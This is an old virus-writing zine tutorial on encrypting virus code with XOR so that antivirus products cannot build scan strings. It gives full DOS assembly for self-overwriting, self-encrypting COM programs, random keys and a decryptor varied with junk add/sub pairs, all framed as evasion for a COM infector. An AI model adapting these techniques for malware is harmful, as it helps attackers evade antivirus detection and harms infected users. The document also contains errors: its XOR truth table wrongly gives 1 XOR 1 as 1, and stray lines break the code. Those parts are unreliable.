Encryption, part 1...
-----------------------------------------------------------------------------
Definitions:
------------
Cryptography: From the Greek      graphe----->to write
                                  kryptos---->hidden  

 The art of writing with a secret code or "enigmatically".

What is "encryption"?
---------------------
Encryption (in our milieu) consists in coding or changing a perfectly legible
code into another that, at first glance, isn't legible.

Why we encrypt code.
--------------------

a)To make disassemblies of our code more difficult.
b)To screw with heuristic scanners.
c)So that each encryption is different, if possible, in order to keep anti- 
  virus product developers from coming up with a scan string for your virus 
  (this would require a combination of encryption and mutation).
d)To camouflage the code.
e)For whatever comes to mind.

General format of a program which uses encryption.
------------------------------------------------------

startprog:         CALL desencripar
;******************************************************************
;Portion of the code we wish to encrypt.

mark:               ...
                    ...
endmark:            ...

;******************************************************************
;decryption routine.

desencriptar proc
                   ...
                   ...
                   ...
desencriptar endp

                    
From the previous outline you can figure out the following:

a)The header (or -->call desencripta) will remain immutable no matter how
many times the code bounded by the labels "mark" and "endmark" is
encrypted in each reproduction.

b)The decryption routine will never itself be encrypted.  Since this routine
is long, it's easy to come up with a scan string which can be used to
identify the virus.
 
c)From the preceding you can deduce that the decryption routine should be
made as short as possible, or better yet, different with each reproduction.

d)Is the encryption routine itself encrypted? --->Redundancy??
 

How to encrypt.
---------------
The virus must be encrypted just before it reproduces itself.  Basic
encryption routines generally work by performing logical or arithmetic
operations on the code.

Using XOR.
~~~~~~~~~~
  
The instruction "XOR destination, source" performs an exclusive OR between
the "source" and "destination", leaving the result in "destination".

destination    xor   source     destination
     0                 0             0
     0                 1             1
     1                 0             1
     1                 1             1

The fun thing about XOR is that if we perform the instruction twice with the
same value we obtain the original datum.

EXAMPLE.
~~~~~~~~   mov cl,55h
           mov bl,0aah----------->register bl=AA in hex.
           xor bl,cl ------------> bl xor cl ---->bl=FF in hex.

           xor bl,cl-------------> bl xor cl ---->bl=AA in hex.

This is ideal for encryption since the encryption and decryption routines are
identical.

As an example we'll use a COM program that overwrites and encrypts itself
each time it's executed.
 
Step by step.
-------------
1) Unencrypted program.
;________________________cut here____________________________________
;compile it with the name "prueba1.com"

code segment
              org 0100h
              assume cs:code,ds:code
programa      proc far
uno:
              lea dx, saludo
              mov ah,09h
              int 21h                    ;write Minotauro
        
              mov ax,3d02h               ;open  prueba1.com
              lea dx,file                ;read/write mode
              int 21h                    ;return file handle in ax
              mov (handle), ax

              mov bx, (handle)
              lea cx,dos                 ;calculate and store in CX the 
              lea ax,uno                 ;length in bytes of this program
              sub cx,ax
            
              lea dx,uno                 ;buffer starts at ds:uno 
            
              mov ax,4000h
              int 21h                    ;this program overwrites itself
            
              mov ax,3e00h               ;close file prueba1.com
              int 21h

              mov ah,4ch                 ;return to DOS
              int 21h

saludo   db  "Minotauro$"
file     db  "prueba1.com",0
handle   dw  1 dup (?)   
dos:
programa endp
code ends
end           programa
;__________________________cut here_______________________________________

OK, if you executed the program (above) you will have noticed that it runs
fine.  But suppose the above code belongs to a non-resident .COM infector. 
In that case, it would be easy for an A/V to get a scan string since the code
remains the same each time it's executed.  We can avoid that inconvenience by
encrypting the program using XOR.
 

2) Encrypting with XOR.

 The steps to follow are listed below:

 a)Decrypt with the existing key.
 b)Execute the decrypted program.
 c)Generate a new key
 d)Encrypt and over-write.
 e)Return control.
 
The encryption/decryption routine:
----------------------------------
nombre:encr

This routine performs the encryption/decryption functions, therefore it will
always be the only unencrypted part of the file.  Basically, it will encrypt
the code located between "mark" and "endmark".  It will perform an XOR with
a key stored in "xorkey", which is word type variable.  I prefer to XOR with
a word instead of bytes since with the former we can have as many as 65535
variants versus only 255 using bytes (not exactly true based on the way
the key is generated).

Usually you'll do a XOR for the first time with the key equal to zero.  Later
the program will generate a new key, using Int21 service 2c: read DOS's date
and time stamp.  This new key is stored in xorkey and will be used at the
moment of encryption.  Obviously, the variable xorkey is not encrypted.

ONE LAST THING.
---------------

Since we are trying to encrypt as much of the code as possible, the part
about copying and then returning control to DOS (or the host program, if we
are writing a virus) must be copied into memory at the end of the virus, else
it would remain unencrypted.  This is the portion of the code located between
"l1" and "l2".


;___________________________cut____here____________________________________
;compile with the name prueba2.com

code segment
              org 0100h
              assume cs:code,ds:code
programa      proc far
uno:
;****************************************************************************
;This part of the program is to find the delta offset to redirect through bp,
since if the virus is to be attached to the end of the .COM file, the
pointers would be mis-addressed.

              CALL falso
falso proc
falso endp
              pop bp
              sub bp,0103h
;**************************************************************************
***
              call encr_desc
mark:


start:
              lea dx, saludo + bp
              mov ah,09h
              int 21h                    ;write Minotauro

;             etc....etc....etc

;******************************************************************
;Move everything between l1 and l2 to the end of the code.
;This would be the part of the virus which handles reproduction and returns
;control to the host program
;We do this to try to encrypt as much of the code as possible.


              cld
              lea si, l1 + bp
              lea di, dos + bp
              lea cx, l2
              lea ax, l1
              sub cx,ax
              sar cx, 1
              inc cx
              rep movsw

;*******************************************************************
              call rand        ;Obtains a random 16-bit number to use  
                               ;as the new key.
              mov word ptr [xorkey+bp],dx
;********************************************************************

              jmp dos
l1:
;Finds the offset where the encr_desc routine is located, then stores it
;in called so as to later call it by way of memory.

              lea ax, rutina + bp
              mov [called + bp], ax
      
              mov ax,3d02h                  ;opens prueba1.com
              lea dx,file+bp                ;read/write mode
              int 21h                       ;returns file handle in ax
              mov [handle + bp], ax

              mov bx, [handle + bp]
              lea cx,dos+bp                 ;calculates and stores in cx
              lea ax,uno+bp                 ;its length in bytes.
programa
              sub cx,ax
            
              lea dx,uno+bp              ;buffer starts at ds:uno  
            
              push bx
              push cx
              push dx

              call [called+bp]           ;encrypt using the new key
            
              pop dx
              pop cx
              pop bx

              mov ax,4000h
              int 21h                    ;the program is overwritten.

            
              mov ax,3e00h               ;close prueba1.com
              int 21h

              mov ah,4ch                 ;return to DOS
              int 21h
l2:

;**********************************************************************
rand proc
;generates a random key by reading the clock (minutes and seconds), storing
;the result in dx.
              mov ah,2ch
              int 21h
              ret
rand endp
;**********************************************************************

saludo   db  "Minotauro$"
file     db  "prueba2.com",0
handle   dw   1 dup (?)

endmark:      nop
              nop
;The encryption ends at "endmark".  Since we are working with a word and
;the calculation could make the last encryption word begin at the address of
;handle+1, we place a second nop so that the encryption key remains 
;unencrypted (as it should be).  
;We could have also placed endmark before handel and left out the nop's.


xorkey       dw 1 dup (0)                ;word where the key is stored.
called       dw 1 dup (0)

;********************encryption/decryption routine************************
rutina:
;This label (rutina) is here since we call the encryption routine from
;memory.

encr_desc    proc
             lea bx, mark + bp
             lea dx, endmark + bp
             mov cx, dx
             sub cx,bx
             sar cx, 1
             inc cx
             mov dx, [xorkey + bp]
xorloop:     xor [bx],dx           ;bx word pointer to encrypt or decrypt
             add bx,02             ;dx the key
             loop xorloop
             ret
encr_desc    endp
;***************************************************************************
dos:
programa endp
code ends
end           programa
;____________________________cut___here__________________________________

OK, you'll notice when you run your program that there are few parts of it
that remain constant.  These parts are:
****************************************************************************
              CALL falso
falso proc
falso endp
              pop bp
              sub bp,0103h

This part isn't going to cause us problems since it uses few bytes.  Anyhow,
we can use a little trick we'll see later.
 
****************************************************************************

xorkey       dw 1 dup (0)                ;word where the key is stored.
called       dw 1 dup (0)

Not a problem since xorkey is different after each execution.

****************************************************************************
encr_desc    proc
             lea bx, mark + bp
             lea dx, endmark + bp
             mov cx, dx
             sub cx,bx
             sar cx, 1
             inc cx
             mov dx,[xorkey + bp]
xorloop:     xor [bx],dx           ;bx pointer to the encrypt/decrypt word
             add bx,02             ;dx key
             loop xorloop
             ret
encr_desc    endp

This would be the most extensive unencrypted section of code, and thus its
weakest link.  To avoid this, let's suppose that aaaa .... cccc are random
16-bit numbers generated the same as xorkey and we change our routine as
follows:

encr_desc    proc
             lea bx, mark + bp
antiscan:
             add bx,aaaa------>agregado  ;agregado = aggregate
             sub bx,aaaa------>agregado

             lea dx, endmark + bp
             mov cx, dx
             sub cx,bx

             add cx,bbbb ------>agregado
             sub cx,bbbb ------>agregado

             sar cx, 1
             inc cx
             mov dx, [xorkey + bp]
xorloop:     xor [bx],dx           ;bx pointer of the word used to          
                                   ; encrypt/decrypt 
             add bx,02             ;dx the key
             
             add bx,cccc------>agregado
             sub bx,cccc------>agregado

             loop xorloop
             ret
encr_desc    endp

Note that when we ad and subtract the same quantity the contents of the
register don't change, but the generated code does.  This ensures that the
code from which a string could be generated is of minimum length.

How do we do this? .... Simple, before reproducing (the virus) we calculate
aaaa.....cccc and place these numbers in the routine.
*****************************************************************************

Let's look at code which has been modified in this manner.
----------------------------------------------------------

;____________________________cut___here____________________________________
;compile using the name prueba3.com

code segment
              org 0100h
              assume cs:code,ds:code
programa      proc far
uno:
              call falso
falso         proc
falso         endp     
              pop bp
              sub bp,0103h
              call encr_desc
mark:
start:
              lea dx, saludo + bp
              mov ah,09h
              int 21h                    ;write Minotauro
;             etc....etc....etc
              cld
              lea si, l1 + bp
              lea di, dos + bp
              lea cx, l2
              lea ax, l1
              sub cx,ax
              sar cx, 1
              inc cx
              rep movsw
              call rand        ;Obtain a random 16-bit number to use as
                               ;the new key
              mov word ptr [xorkey+bp],dx
;********************************************************************
;aggregate to vary the encryption routine........

              lea di,antiscan+bp        ;pointer in di
              call rand                 ;find aaaa
              mov [di+bp+2],dx          ;place aaaa
              mov [di+bp+6],dx          ;place aaaa
              call rand                 ;find bbbb
              mov [di+bp+18],dx         ;place bbbb
              mov [di+bp+22],dx         ;place bbbb
              call rand                 ;find cccc
              mov [di+bp+39],dx         ;place cccc
              mov [di+bp+43],dx         ;place cccc



              jmp dos
l1: 
              lea ax, rutina + bp
              mov [called + bp], ax
              mov ax,3d02h                  ;open file prueba1.com
              lea dx,file+bp                ;read/write mode
              int 21h                       ;return file handle in ax
              mov [handle + bp], ax
              mov bx, [handle + bp]
              lea cx,dos+bp                 ;calculate and store in cx it's
              lea ax,uno+bp                 ;length in bytes.
programa
              sub cx,ax
              lea dx,uno+bp              ;buffer starts at ds:uno   
              push bx
              push cx
              push dx
              call [called+bp]           ;encrypt with the new key.
              pop dx
              pop cx
              pop bx
              mov ax,4000h
              int 21h                    ;program is over written
              mov ax,3e00h               ;close file prueba1.com
              int 21h
              mov ah,4ch                 ;return to DOS
              int 21h
l2:
rand proc
              mov ah,2ch
              int 21h
              ret
rand endp
saludo   db  "Minotauro$"
file     db  "prueba3.com",0
handle   dw   1 dup (?)
endmark:      nop
              nop
xorkey       dw 1 dup (0)                ;word where the key is stored.
called       dw 1 dup (0)
rutina:
encr_desc    proc
             lea bx,mark+bp
antiscan:
             add bx,1111h
             sub bx,1111h
             lea dx, endmark + bp
             mov cx, dx
             sub cx,bx
             add cx,2222h
             sub cx,2222h
             sar cx, 1
             inc cx
             mov dx, [xorkey + bp]
xorloop:     xor [bx],dx           ;bx pointer of the word to encrypt and   
                                   ;decrypt
             add bx,02             ;dx the key
             add bx,3333h
             sub bx,3333h
             loop xorloop
             ret
encr_desc    enp
dos:
programa endp
code ends
end           programa
;_______________________cut___here___________________________________


Now the encr_desc routine will change somewhat every time the virus
reproduces.  Is this the "final solution"?  No, even though we've made life
complicated for the A/Vs a scan string can still be found.  Still, it'll take
them more time.. hehehehe!  There has to be a reason why mutation was
developed, eh?  ;)
I think the xor method of encryption has been explained enough.
As you can see the decryption routine doesn't have to be the same as the
encryption routine.  It only has to undo the changes made by the encryption
routine.  For example, we could add a number and encrypt, then decrypt
subtracting, or by rotating each byte "x" number of times to the right and
decrypt by rotating to the left. or a mixture of all these techniques.  

Enjoy! 

Bye:LAPIDARIO.

